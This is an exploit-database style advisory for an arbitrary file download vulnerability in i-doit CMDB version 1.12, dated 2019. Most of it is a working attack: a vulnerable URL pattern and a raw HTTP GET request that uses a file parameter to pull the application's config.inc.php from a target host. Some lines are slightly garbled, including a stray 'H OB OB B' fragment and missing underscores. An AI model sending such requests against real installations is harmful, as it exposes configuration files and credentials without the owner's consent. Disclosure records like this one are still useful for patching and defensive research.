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# Exploit Title: i-doit CMDB 1.12 - Arbitrary File Download
# Dork: N/A

# Date: 2019-01-11

# Exploit Author: Ihsan Sencan

# Vendor Homepage: https://www.i-doit.org/

# Software Link: https://netcologne.dl.sourceforge.net/project/i-doit/i-
doit/1.12/idoit-open-1.12.zip

# Version: 1.12

# Category: Webapps

# Tested on: WiN7 x64/KaLilLinuX x64

# CVE: N/A

http://localhost/[PATH]/index.php?file manager=image&file=[FILE]
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H OB OB B

GET /[PATH]/index.php?file manager=image&file=src/config.inc.php HTTP/1.1
Host: TARGET

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:45.0) Gecko/20100101
Firefox/45.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
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